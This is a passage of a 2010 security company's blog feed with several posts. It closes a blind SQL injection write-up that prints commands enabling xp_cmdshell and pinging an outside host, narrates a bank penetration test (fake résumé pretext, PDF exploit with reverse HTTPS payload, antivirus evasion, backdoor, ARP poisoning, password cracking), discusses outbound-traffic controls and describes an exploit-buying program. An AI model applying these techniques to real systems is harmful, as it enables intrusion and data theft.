&lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;2-) C:\&gt; &lt;a href="http://www.google.com/search?hl=en&amp;amp;safe=off&amp;amp;client=safari&amp;amp;rls=en&amp;amp;ei=47XwS4-NIoS0lQeLluG1CA&amp;amp;sa=X&amp;amp;oi=spell&amp;amp;resnum=0&amp;amp;ct=result&amp;amp;cd=1&amp;amp;ved=0CCQQBSgA&amp;amp;q=master.dbo.sp_configure+xp_cmdshell,+1&amp;amp;spell=1"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;master.dbo.sp_configure xp_cmdshell, 1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;This enables the xp_cmdshell functionality in the MsSQL database so that we can execute operating-system commands by calling xp_cmdshell. &lt;/span&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;span style="font-size:85%;"&gt;xp_cmdshell is disabled by default. &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;3-) C:\&gt; ping netragard.com&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;Because we were dealing with a Blind SQL Injection Vulnerability we needed a creative way to test that we’d successfully re-enabled the xp_cmdshell function.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;  &lt;/span&gt;&lt;span style="font-size:85%;"&gt;To do that we set up a sniffer on our outside firewall interface and configured it to alert us when we received pings from our banking customer’s network.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;  &lt;/span&gt;&lt;span style="font-size:85%;"&gt;Then in the SQL payload (shown above) we included the command “ping netragard.com”.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;  &lt;/span&gt;&lt;span style="font-size:85%;"&gt;Then when we received ICMP packets from our customers network we knew that our command had been executed successfully.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Now that we had confirmed that our Blind Reversed SQL Injection attack was viable and that we had successfully enabled the xp_cmdshell functionality,&lt;span style=""&gt;   &lt;/span&gt;the last thing for us to do was to extract database information.&lt;span style=""&gt;  &lt;/span&gt;But how do we extract database information using a Blind SQL Injection Vulnerability if the vulnerability never returns any information?&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;That's actually pretty easy.  Most databases support conditional statements (if condition then do something).  So, we used conditional statements combined with timing to extract database information.  Specifically, if table name equals "users" then wait for 3 seconds, if it doesn't then return control immediately.  Then if the database doesn't respond for 3 seconds we know that we've guessed the name of one of the tables correctly.&lt;br /&gt;&lt;br /&gt;Sure there are other things that we could have done, but we're the good guys.&lt;br /&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-8691047599095565970?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/8691047599095565970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/05/reversenoitcejni-lqs-dnilb-bank-hacking.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8691047599095565970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8691047599095565970'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/05/reversenoitcejni-lqs-dnilb-bank-hacking.html' title='REVERSE(noitcejnI LQS dnilB) Bank Hacking'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_EB6c20kYC_c/S_DMobmR7eI/AAAAAAAAAEU/k0ACfmGp20g/s72-c/ear0874l.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-823772636727635873</id><published>2010-04-26T16:54:00.000-07:00</published><updated>2011-03-06T22:20:13.799-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SNOsoft'/><category scheme='http://www.blogger.com/atom/ns#' term='Netragard'/><category scheme='http://www.blogger.com/atom/ns#' term='Penetration Testing'/><title type='text'>Netragard Hacking Your Bank</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EB6c20kYC_c/S9Ypz9-lJaI/AAAAAAAAAEM/3oKhyYUy3CI/s400/aton971l.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 0px; height: 0px;" src="http://1.bp.blogspot.com/_EB6c20kYC_c/S9Ypz9-lJaI/AAAAAAAAAEM/3oKhyYUy3CI/s400/aton971l.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;We were recently hired to perform an interesting Advanced Stealth Penetration test for a mid-sized bank.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;The goal of the penetration test was to penetrate into the bank’s IT Infrastructure and see how far we could get without detection.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;This is a bit different than most penetration tests as we weren’t tasked with identifying risks as much as we were with demonstrating vulnerability.&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;img src="http://2.bp.blogspot.com/-t0SLqzV0NL8/TXR4_Tq6l7I/AAAAAAAAAGw/cuy6j1_qS80/s400/aton971l.jpg" style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 364px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5581218867226253234" /&gt;&lt;/div&gt;&lt;p class="MsoNormal"&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt;The first step of any penetration test is reconnaissance.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Reconnaissance is the military term for the passive collection of intelligence about an enemy prior to attacking that enemy.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;It is technically impossible to effectively attack an enemy without first obtaining actionable intelligence about the enemy. Failure to collect good intelligence can result in significant casualties, unnecessary collateral damage and a completely failed attack.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;In penetration testing, damages are realized by downed systems and a loss of revenue.&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Because this engagement required stealth, we focused on the social attack vectors and Social Reconnaissance.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;We first targeted FaceBook with our “&lt;a href="http://snosoft.blogspot.com/2009/02/facebook-from-hackers-perspective.html"&gt;FaceBook from the hackers perspective&lt;/a&gt;“ methodology.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;That enabled us to map relationships between employees, vendors, friends, family etc.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;It also enabled us to identify key people in Accounts Receivable / Accounts Payable (“AR/AP”). &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt;In addition to FaceBook, we focused on websites like Monster, Dice, Hot Jobs, LinkedIn, etc. We identified a few interesting IT related job openings that disclosed interesting and useful technical information about the bank.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;That information included but was not limited to what Intrusion Detection technologies had been deployed, what their primary Operating Systems were for Desktops and Servers, and that they were a Cisco shop.&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Naturally, we thought that it was also a good idea to apply for the job to see what else we could learn.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;To do that, we created a fake resume that was designed to be the “perfect fit” for a “Sr. IT Security Position” (one of the opportunities available).&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Within one day of submission of our fake resume, we had a telephone screening call scheduled.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;We started the screening call with the standard meet and greet, and an explanation of why we were interested in the opportunity.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Once we felt that the conversation was flowing smoothly, we began to dig in a bit and start asking various technology questions.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;In doing so, we learned what Anti-Virus technologies were in use and we also learned what the policies were for controlling outbound network traffic.&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;That’s all that we needed…&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Upon completion of our screening call, we had sufficient information to attempt stealth penetration with a high probability of success. The beauty is that we collected all of this information without sending a single packet to our customer’s network. &lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;In summary we learned:&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:Symbol;"&gt;&lt;span style="mso-list:Ignore"&gt;&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;That the bank uses Windows XP for most Desktops&lt;/li&gt;&lt;li&gt;Who some of the bank’s vendors were (IT Services)&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:Symbol;"&gt;&lt;span style="mso-list:Ignore"&gt;&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;The names and email addresses of people in AR/AP&lt;/li&gt;&lt;li&gt;What Anti-Virus technology the bank uses&lt;/li&gt;&lt;li&gt;Information about the banks traffic control policies &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left:0in;mso-add-space:auto"&gt;Based on the intelligence that we collected we decided that the ideal scenario for stealth penetration would be to embed an exploit into a PDF document and to send that PDF document to the bank’s AR/AP department from the banks trusted IT Services provider.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;This attack was designed to exploit the trust that our customer had with their existing IT Services provider. &lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left:0in;mso-add-space:auto"&gt;&lt;o:p&gt;When we created the PDF, we used the new reverse &lt;a href="http://blog.metasploit.com/2010/04/persistent-meterpreter-over-reverse.html"&gt;https payload&lt;/a&gt; that was recently released by the &lt;a href="http://www.metasploit.com/"&gt;Metasploit&lt;/a&gt; Project.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;(Previously we were using similar but more complex techniques for encapsulating our reverse connections in HTTPS).&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;We like reverse HTTPS connections for two reasons:&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoListParagraphCxSpMiddle" style="margin-left:0in;mso-add-space:auto"&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;First, Intrusion Detection Technologies cannot monitor encrypted network traffic.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Using an encrypted reverse connection ensures that we are protected from the prying eyes of Intrusion Detection Systems and less likely to trip alarms.&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:Symbol;"&gt;&lt;span style="mso-list:Ignore"&gt;&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;Second, most companies allow outbound HTTPS (port 443) because its required to view many websites.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;The reverse HTTPS payload that we used mimics normal web browsing behavior and so is much less likely to set off any Intrusion Detection events.&lt;/li&gt;&lt;/ul&gt;Before we sent the PDF to the our customer we checked it against the same Antivirus Technology that they were using to ensure that it was not detected as malware or a virus.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;To evade the scanners we had to “&lt;a href="http://polypack.eecs.umich.edu/"&gt;pack&lt;/a&gt;” our pseudo-malware in such a way that it would not be detected by the scanners.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Once that was done and tested, we were ready to launch our attack.&lt;p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;When we sent the PDF to our customer, it didn’t take long for the victim in AP/AR to open it, after all it appeared to be a trusted invoice.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Once it was opened, the victim’s computer was compromised.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;That resulted in it establishing a reverse connection to our lab which we then tunneled into to take control of the victims computer (all via HTTPS).&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p class="MsoListParagraphCxSpMiddle" style="margin-left:0in;mso-add-space:auto"&gt;&lt;span style="mso-spacerun: yes"&gt;Once we had control, our first order of operation was to maintain access.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;To do this we installed our own backdoor technology onto the victims computer.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Our technology also used outbound HTTPS connections, but for authenticated command retrieval.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;So if our control connection to the victims computer was lost, we could just tell our backdoor to re-establish the connection.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoListParagraphCxSpMiddle" style="margin-left:0in;mso-add-space:auto"&gt;The next order of operation was to deploy our suite of tools on the compromised system and to begin scoping out the internal network.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;We used selective ARP poisoning as a first method for performing internal reconnaissance.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;That proved to be very useful as we were able to quickly identify VNC connections and capture VNC authentication packets.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;As it turns out, the VNC connections that we captured were being made to the Active Directory (“AD”) server.&lt;/p&gt;&lt;p class="MsoListParagraphCxSpMiddle" style="margin-left:0in;mso-add-space:auto"&gt;We were able to crack the VNC password by using a VNC Cracking Tool.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Once that happened we were able to access, the AD server and extract the servers SAM file. We then successfully cracked all of the passwords in that file, including the historical user passwords.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Once the passwords were cracked, we found that the same credentials were used across multiple systems.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;As such, we were not only able to access desktops and servers, but also able to access Cisco devices, etc.&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p class="MsoListParagraphCxSpMiddle" style="margin-left:0in;mso-add-space:auto"&gt;&lt;span style="mso-spacerun: yes"&gt;In summary, we were able to penetrate into our customers IT Infrastructure and effectively take control of the entire infrastructure without being detected.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;We accomplished that by avoiding conventional methods for penetration and by using our own unorthodox yet obviously effective penetration methodologies.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoListParagraphCxSpMiddle" style="margin-left:0in;mso-add-space:auto"&gt;This particular engagement was interesting as our customers goal was not to identify all points of risk, but instead was to identify how deeply we could penetrate.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Since the engagement, we’ve worked with that customer to help them create barriers for isolation in the event of penetration.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Since those barriers have been implemented, we haven’t been able to penetrate as deeply.&lt;/p&gt;&lt;p class="MsoListParagraphCxSpMiddle" style="margin-left:0in;mso-add-space:auto"&gt;As usual, if you have any questions or comments, please leave them on our blog.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;If there’s anything you’d like us to write about, please email me the suggestion.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;If I’ve made a grammatical mistake in here… I’m a hacker not an English major.&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-823772636727635873?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/823772636727635873/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/04/hacking-your-bank.html#comment-form' title='22 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/823772636727635873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/823772636727635873'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/04/hacking-your-bank.html' title='Netragard Hacking Your Bank'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_EB6c20kYC_c/S9Ypz9-lJaI/AAAAAAAAAEM/3oKhyYUy3CI/s72-c/aton971l.jpg' height='72' width='72'/><thr:total>22</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-3754636187635151355</id><published>2010-04-06T13:25:00.000-07:00</published><updated>2010-04-06T13:57:58.683-07:00</updated><title type='text'>Outbound Traffic Risk and Controlls</title><content type='html'>Recently &lt;a href="http://www.snosoft.com/hacked.html"&gt;one of our customers&lt;/a&gt; asked me to provide them with information about the risks of unrestricted or lightly restricted outbound network traffic.  As such, I decided to write this blog entry and share it with everyone.  While some of the risks behind loose outbound network controls are obvious, others &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;aren&lt;/span&gt;’t so obvious.  I hope that this blog entry will help to shed some light on the not so obvious risks…&lt;br /&gt;&lt;br /&gt;In all networks, there are two general types of network traffic, inbound and outbound.  Inbound network traffic is the type of traffic that is generated when an Internet based user makes a network connection to a device that exists in your business infrastructure.  Examples of such connections are browsing to your website, establishing a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;VPN&lt;/span&gt; connection, checking email, etc.  Outbound network traffic is the type of traffic that is generated when a LAN based user (or a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;VPN&lt;/span&gt; connected user in some cases) makes a network connection to a device somewhere on the Internet.&lt;br /&gt;&lt;br /&gt;Just about everyone is familiar with the risks that are associated with the inbound type.  Those risks include things like Vulnerable Web Applications, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;unpatched&lt;/span&gt; services running on Internet facing production systems, etc.  In fact, most people associate the idea of security with the inbound connection type more so than the outbound type.  As a result, they end up leaving the most vulnerable part of their business open to attack.&lt;br /&gt;&lt;br /&gt;The truth is that the size of the attack surface for the outbound connection type is considerably larger than that of the inbound connection type.  The attack surface is best defined as the sum of all potential risk points for a particular group of targets.  In the case of the outbound connection type, the potential risk points include every variant of software installed on every device capable of making outbound connections (and helper applications too).  This includes technologies like Adobe Acrobat, Mozilla &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Firefox&lt;/span&gt;, Internet Explorer, Flash, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;QuickTime&lt;/span&gt;, Microsoft Office, Safari, FTP Programs, Security Scanners, Antivirus Technologies, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Smartphones&lt;/span&gt;, etc.&lt;br /&gt;&lt;br /&gt;One example of an attack would be something like this.  An employee receives an email containing an interesting blog entry from &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;Netragard&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;LLC&lt;/span&gt;.  That email contains a link that points to a malicious payload designed to compromise the employees computer.  When the link is clicked, a request is made to download the payload, which results in the employees computer being compromised.   Upon compromise the employees computer establishes an outbound *HTTPS connection to the attacker, and the attacker tunnels back in over that connection to take control of the employees computer.  In most cases, the employee has no idea that they’&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;ve&lt;/span&gt; been compromised, nor does their employer.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="color: rgb(255, 0, 0);font-size:78%;" &gt;*Because the connection is an HTTPS connection IDS/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;IPS&lt;/span&gt; technologies won’t flag it as suspicious nor is it possible to sniff the connection since its encrypted with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;SSL&lt;/span&gt;. &lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_EB6c20kYC_c/S7ufJe3UarI/AAAAAAAAAD0/a5YcKZXntbk/s1600/spotthegeek.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_EB6c20kYC_c/S7ufJe3UarI/AAAAAAAAAD0/a5YcKZXntbk/s400/spotthegeek.JPG" alt="" id="BLOGGER_PHOTO_ID_5457130358742215346" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:78%;"&gt;(SNOsoft's Jayson Street)&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;The compromise &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;doesn&lt;/span&gt;’t stop at the employees computer.  The instant that the employees computer is compromised then the network that the computer is connected to is also compromised.  At that point the attacker can use &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;ARP&lt;/span&gt; Poisoning to perform Man in the Middle attacks (or other more direct attacks), or just to capture user credentials. Either way distributed metastasis is almost inevitable if the attacker has any semblance of skill.  (Thank god &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;Netragard&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;didn&lt;/span&gt;’t really embed a malicious link in this blog entry right?).&lt;br /&gt;&lt;br /&gt;The good news is that suffering a compromise &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;doesn&lt;/span&gt;’t need to be costly or technically damaging.  If the proper policies, procedures and controls are in place then a compromise can be relatively harmless from a cost in damages perspective.  Outbound connection controls are an example of controls that everyone should have in place.&lt;br /&gt;&lt;br /&gt;If outbound connections are restricted to specific protocols and can only be established by authenticated users then attacks like the one described above will be largely ineffective.  The outbound controls might not always prevent the users computer from being compromised, but they will usually prevent the users computer from establishing a connection back to the attacker (which will ideally prevent the attacker from taking control of the computer).  In such a case, the computer will need to be reinstalled but at least the rest of the network will still be intact.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-3754636187635151355?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/3754636187635151355/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/04/please-click-here-before-you-read-this.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3754636187635151355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3754636187635151355'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/04/please-click-here-before-you-read-this.html' title='Outbound Traffic Risk and Controlls'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_EB6c20kYC_c/S7ufJe3UarI/AAAAAAAAAD0/a5YcKZXntbk/s72-c/spotthegeek.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-7610505722316086821</id><published>2010-03-28T16:20:00.000-07:00</published><updated>2010-03-28T19:09:28.462-07:00</updated><title type='text'>Exploit Acquisition Program - More Details</title><content type='html'>The recent news on &lt;a href="http://blogs.forbes.com/firewall/2010/03/25/the-bounty-for-an-apple-bug-115000/"&gt;Forbes&lt;/a&gt; about our Exploit Acquisition Program has generated a lot of interesting speculative controversy and curiosity. As a result, I've decided to take the time to follow up with this blog entry. Here I'll make a best effort to explain what the Exploit Acquisition Program is, why we decided to launch the program, and how the program works. &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;What it is:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The Exploit Acquisition Program ("&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;EAP&lt;/span&gt;&lt;/span&gt;") officially started in May of 1999 and is currently being run by &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Netragard&lt;/span&gt;&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;LLC&lt;/span&gt;&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;EAP&lt;/span&gt;&lt;/span&gt; specifically designed to acquire "actionable research" in the form of working exploits from the security community.  The Exploit Acquisition Program is different than other programs because participants receive significantly higher pay for their work and in most cases the exploits never become public knowledge.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The exploits that are acquired via the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;EAP&lt;/span&gt;&lt;/span&gt; are sold directly to specific US based clients that have a unique and justifiable need for such technologies.  At no point does &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Netragard&lt;/span&gt;&lt;/span&gt; sell or otherwise export acquired exploits to any foreign entities.  Nor do we disclose any information about our buyers or about participating researchers.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;Why did we start the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;EAP&lt;/span&gt;&lt;/span&gt;?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;Netragard&lt;/span&gt;&lt;/span&gt; launched the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;EAP&lt;/span&gt;&lt;/span&gt; to give security researchers the opportunity to receive fair value for their research product.  Our bidding prices start at or around $15,000 per exploit.  That price is affected by many different variables. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;How does the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;&lt;span class="blsp-spelling-error" 